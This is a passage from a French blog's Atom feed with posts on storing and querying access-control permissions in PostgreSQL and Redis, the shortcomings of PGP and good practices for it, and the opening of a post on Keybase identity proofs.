&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/articles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;collection&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;name&amp;quot;: &amp;quot;article&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;system.Everyone&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;/buckets/blog/groups/moderators&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette collection d&amp;#8217;articles peut être lue par tout le monde,
et gérée par les membres du groupe &lt;tt class="docutils literal"&gt;moderators&lt;/tt&gt;, ainsi que
&lt;tt class="docutils literal"&gt;fxa:alexis&lt;/tt&gt;, via le &lt;em&gt;bucket&lt;/em&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="records"&gt;
&lt;h4&gt;Records&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;record&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/articles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;name&amp;quot;: &amp;quot;02f3f76f-7059-4ae4-888f-2ac9824e9200&amp;quot;,&lt;/span&gt;
&lt;span class="s1"&gt;      &amp;quot;title&amp;quot;: &amp;quot;Stocker les permissions&amp;quot;, ...}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="interroger-les-permissions"&gt;
&lt;h3&gt;Interroger les&amp;nbsp;permissions&lt;/h3&gt;
&lt;div class="section" id="obtenir-la-liste-des-principals-d-un-ace-1"&gt;
&lt;h4&gt;Obtenir la liste des &amp;#8220;principals&amp;#8221; d&amp;#8217;un &lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;Comme vu plus haut, pour vérifier une permission, on fait l&amp;#8217;union des
&lt;em&gt;principals&lt;/em&gt; requis par les objets hérités, et on teste leur
intersection avec ceux de&amp;nbsp;l&amp;#8217;utilisateur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;WITH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unnest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;perms&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog:write&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog:read&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/article:write&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/article:read&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unnest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fxa:natim&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;INNER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="filtrer-les-objets-en-fonction-des-permissions"&gt;
&lt;h4&gt;Filtrer les objets en fonction des&amp;nbsp;permissions&lt;/h4&gt;
&lt;p&gt;Pour filtrer les objets, on fait une simple intersection de liste
(&lt;em&gt;merci PostgreSQL&lt;/em&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;record&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/collections/article&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OR&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fxa:natim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les listes s&amp;#8217;indexent bien, notamment grâce aux &lt;a class="reference external" href="http://www.postgresql.org/docs/current/static/indexes-types.html"&gt;index &lt;span class="caps"&gt;GIN&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="avec-redis"&gt;
&lt;h3&gt;Avec&amp;nbsp;Redis&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Redis&lt;/em&gt; présente plusieurs avantages pour ce genre de
problématiques. Notamment, il gère les &lt;em&gt;set&lt;/em&gt; nativement (listes de
valeurs uniques), ainsi que les opérations d&amp;#8217;intersection et&amp;nbsp;d&amp;#8217;union.&lt;/p&gt;
&lt;p&gt;Avec &lt;em&gt;Redis&lt;/em&gt; on peut écrire l&amp;#8217;obtention des &lt;em&gt;principals&lt;/em&gt; pour un &lt;em&gt;&lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/em&gt;
comme cela&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;SUNIONSTORE temp_perm:/buckets/blog/collections/articles:write  permission:/buckets/blog:write  permission:/buckets/blog/collections/articles:write
SINTER temp_perm:/buckets/blog/collections/articles:write principals:fxa:alexis
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;SUNIONSTORE&lt;/span&gt;&lt;/tt&gt; permet de créer un set contenant les éléments de
l&amp;#8217;union de tous les set suivants. Dans notre cas on le nomme
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;temp_perm:/buckets/blog/collections/articles:write&lt;/span&gt;&lt;/tt&gt; et il contient
l&amp;#8217;union des sets d&amp;#8217;ACLs suivants:
- &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;permission:/buckets/blog:write&lt;/span&gt;&lt;/tt&gt;
- &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;permission:/buckets/blog/collections/articles:write&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;SINTER&lt;/span&gt;&lt;/tt&gt; retourne l&amp;#8217;intersection de tous les sets passés en paramètres dans notre cas :
- &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;temp_perm:/buckets/blog/collections/articles:write&lt;/span&gt;&lt;/tt&gt;
- &lt;tt class="docutils literal"&gt;principals:fxa:alexis&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plus d&amp;#8217;informations sur :
- &lt;a class="reference external" href="http://redis.io/commands/sinter"&gt;http://redis.io/commands/sinter&lt;/a&gt;
- &lt;a class="reference external" href="http://redis.io/commands/sunionstore"&gt;http://redis.io/commands/sunionstore&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si le set résultant de la commande &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;SINTER&lt;/span&gt;&lt;/tt&gt; n&amp;#8217;est pas vide, alors
l&amp;#8217;utilisateur possède la&amp;nbsp;permission.&lt;/p&gt;
&lt;p&gt;On peut ensuite supprimer la clé temporaire &lt;tt class="docutils literal"&gt;temp_perm&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;En utilisant &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;MULTI&lt;/span&gt;&lt;/tt&gt; on peut &lt;a class="reference external" href="https://gist.github.com/Natim/77c8f61c1d42e476cef8#file-permission-py-L117-L124"&gt;même faire tout cela au sein d&amp;#8217;une
transaction&lt;/a&gt;
et garantir ainsi l&amp;#8217;intégrité de la&amp;nbsp;requête.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;La solution a l&amp;#8217;air simple mais nous a demandé beaucoup de réflexion
en passant par plusieurs&amp;nbsp;propositions.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;idée finale est d&amp;#8217;avoir&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un backend spécifique permettant de stocker les &lt;em&gt;principals&lt;/em&gt; des
utilisateurs et des &lt;em&gt;&lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/em&gt; (e.g. avec les sets Redis)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;La liste des principals read et write sur la table des&amp;nbsp;objets.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;#8217;est dommage d&amp;#8217;avoir le concept de permissions à deux endroits, mais
cela permet de connaître rapidement la permission d&amp;#8217;un utilisateur sur
un objet et également de pouvoir récupérer tous les objets d&amp;#8217;une
collection pour un utilisateur si celui-ci n&amp;#8217;a pas accès à tous les
records de la collection, ou toutes les collections du&amp;nbsp;bucket.&lt;/p&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>Les problèmes de PGP</title><link href="https://blog.notmyidea.org/les-problemes-de-pgp.html" rel="alternate"></link><published>2015-05-25T00:00:00+02:00</published><updated>2015-05-25T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-05-25:/les-problemes-de-pgp.html</id><summary type="html">&lt;blockquote&gt;
&lt;p&gt;Flip a bit in the communication between sender and recipient and they
will experience decryption or verification errors. How high are the
chances they will start to exchange the data in the clear rather than
trying to hunt down the man in the&amp;nbsp;middle?&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://secushare.org/PGP"&gt;http://secushare.org/&lt;span class="caps"&gt;PGP&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une fois …&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;Flip a bit in the communication between sender and recipient and they
will experience decryption or verification errors. How high are the
chances they will start to exchange the data in the clear rather than
trying to hunt down the man in the&amp;nbsp;middle?&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://secushare.org/PGP"&gt;http://secushare.org/&lt;span class="caps"&gt;PGP&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une fois passé l&amp;#8217;euphorie du &amp;#8220;il faut utiliser &lt;span class="caps"&gt;PGP&lt;/span&gt; pour l&amp;#8217;ensemble de
nos communications&amp;#8221;, j&amp;#8217;ai réalisé lors de discussions que &lt;span class="caps"&gt;PGP&lt;/span&gt; avait
plusieurs problèmes, parmi&amp;nbsp;ceux-ci:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les &lt;em&gt;meta données&lt;/em&gt; (y compris le champ &amp;#8220;sujet&amp;#8221; de la conversation)
    sont quand même échangées en clair (il est possible de savoir qu&amp;#8217;un
    message à été échangé entre telle et telle personne, a telle&amp;nbsp;date);&lt;/li&gt;
&lt;li&gt;&lt;span class="caps"&gt;PGP&lt;/span&gt; se base sur un protocole de communication qui est lui non
    chiffré, et il est donc facile de soit se tromper, soit dégrader le
    mode de conversation vers une méthode non&amp;nbsp;chiffrée;&lt;/li&gt;
&lt;li&gt;Il est facile de connaître votre réseau social avec &lt;span class="caps"&gt;PGP&lt;/span&gt;, puisque
    tout le principe est de signer les clés des personnes dont vous
    validez&amp;nbsp;l&amp;#8217;identité;&lt;/li&gt;
&lt;li&gt;En cas de fuite de votre clé privée, tous les messages que vous avez
    chiffrés avec elle sont compromis. On dit que &lt;span class="caps"&gt;PGP&lt;/span&gt; ne fournit pas de
    &lt;em&gt;forward secrecy&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;La découverte de la clé de pairs se passe souvent &lt;em&gt;en clair&lt;/em&gt;, sans
    utiliser une connexion &amp;#8220;sécurisée&amp;#8221; (&lt;span class="caps"&gt;HTTPS&lt;/span&gt;). Tout le monde peut donc
    voir ces échanges et savoir de qui vous cherchez la&amp;nbsp;clé;&lt;/li&gt;
&lt;li&gt;Les discussions de groupes sont très difficiles: il faut chiffrer
    pour chacun des destinataires (ou que ceux-ci partagent une paire de&amp;nbsp;clés).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je suis en train de creuser à propos les alternatives à &lt;span class="caps"&gt;PGP&lt;/span&gt;, par exemple
&lt;a href="https://pond.imperialviolet.org/"&gt;Pond&lt;/a&gt;, qui lui ne construit pas par
dessus un standard déjà établi, et donc n&amp;#8217;hérite pas de ses défauts
(mais pas non plus de son réseau déjà&amp;nbsp;établi).&lt;/p&gt;
&lt;p&gt;En attendant, quelques bonnes pratiques sur &lt;span class="caps"&gt;PGP&lt;/span&gt;&amp;nbsp;;)&lt;/p&gt;
&lt;h2 id="bonnes-pratiques"&gt;Bonnes&amp;nbsp;pratiques&lt;/h2&gt;
&lt;p&gt;Il est en fait assez facile d&amp;#8217;utiliser &lt;span class="caps"&gt;PGP&lt;/span&gt; de travers. Riseup à fait &lt;a href="https://help.riseup.net/en/security/message-security/openpgp/best-practices"&gt;un
excellent
guide&lt;/a&gt;
qui explique comment configurer son installation&amp;nbsp;correctement.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;J&amp;#8217;en ai déjà parlé, mais il faut absolument choisir des phrases de
    passes suffisamment longues. Pas facile de les retenir, mais
    indispensable. Vous pouvez aussi avoir un document chiffré avec une
    clé que vous ne mettez jamais en ligne, qui contiens ces phrases de
    passe, au cas ou vous les&amp;nbsp;oubliez.&lt;/li&gt;
&lt;li&gt;Générez des clés &lt;span class="caps"&gt;RSA&lt;/span&gt; de 4096 bits, en utilisant&amp;nbsp;sha512;&lt;/li&gt;
&lt;li&gt;Il faut utiliser une date d&amp;#8217;expiration de nos clés suffisamment
    proche (2 ans). Il est possible de repousser cette date si
    nécessaire, par la&amp;nbsp;suite.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Parmi les choses les plus frappantes que j&amp;#8217;ai&amp;nbsp;rencontrées:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Utiliser le &lt;em&gt;flag&lt;/em&gt; –hidden-recipient avec &lt;span class="caps"&gt;PGP&lt;/span&gt; pour ne pas dévoiler
    qui est le destinataire du&amp;nbsp;message;&lt;/li&gt;
&lt;li&gt;Ne pas envoyer les messages de brouillons sur votre serveur, ils le
    seraient en clair&amp;nbsp;!;&lt;/li&gt;
&lt;li&gt;Utilisez &lt;span class="caps"&gt;HPKS&lt;/span&gt; pour communiquer avec les serveurs de clés, sinon tout
    le trafic est en&amp;nbsp;clair.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le &lt;a href="https://bitmask.net/"&gt;projet Bitmask&lt;/a&gt; vise lui à rendre les outils
de chiffrement d&amp;#8217;échanges de messages et de &lt;span class="caps"&gt;VPN&lt;/span&gt; simples à utiliser,
encore quelque chose à&amp;nbsp;regarder.&lt;/p&gt;
&lt;p&gt;Enfin bref, y&amp;#8217;a du&amp;nbsp;taf.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Simplifier les preuves d’identités</title><link href="https://blog.notmyidea.org/simplifier-les-preuves-didentites.html" rel="alternate"></link><published>2015-05-11T00:00:00+02:00</published><updated>2015-05-11T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-05-11:/simplifier-les-preuves-didentites.html</id><summary type="html">
&lt;ul&gt;
&lt;li&gt;headline&lt;br&gt;
    Qu&amp;#8217;est-ce que Keybase.io et comment essayent-ils de simplifier la
    création de preuves&amp;nbsp;d&amp;#8217;identité.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;#8217;un des problèmes non réellement résolu actuellement quant au
chiffrement des échanges est lié à l&amp;#8217;authenticité des clés. Si quelqu&amp;#8217;un
décide de publier une clé en mon nom, et en …&lt;/p&gt;</summary><content type="html">
&lt;ul&gt;
&lt;li&gt;headline&lt;br&gt;
    Qu&amp;#8217;est-ce que Keybase.io et comment essayent-ils de simplifier la
    création de preuves&amp;nbsp;d&amp;#8217;identité.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;#8217;un des problèmes non réellement résolu actuellement quant au
chiffrement des échanges est lié à l&amp;#8217;authenticité des clés. Si quelqu&amp;#8217;un
décide de publier une clé en mon nom, et en utilisant mon adresse email,
cela lui est assez&amp;nbsp;facile.&lt;/p&gt;
&lt;p&gt;Il est donc nécessaire d&amp;#8217;avoir des moyens de prouver que la clé publique
que j&amp;#8217;utilise est réellement la&amp;nbsp;mienne.&lt;/p&gt;
&lt;p&gt;Traditionnellement, il est nécessaire de faire signer ma clé publique
par d&amp;#8217;autres personnes, via une rencontre en personne ou des échanges
hors du réseau. C&amp;#8217;est par exemple ce qui est réalisé lors des &lt;a href="https://fr.wikipedia.org/wiki/Key_signing_party"&gt;Key
Signing parties&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une manière simple d&amp;#8217;effectuer ces vérifications serait, en plus de
donner son adresse email, sa signature de clé, ou a minima de donner un
mot clé pour valider que les échanges proviennent bien de la bonne&amp;nbsp;personne.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;PGP&lt;/span&gt; propose un mécanisme de signature des clés d&amp;#8217;autrui, une fois celles
ci validées, ce qui permet de placer sa confiance dans les signataires
de la&amp;nbsp;clé.&lt;/p&gt;
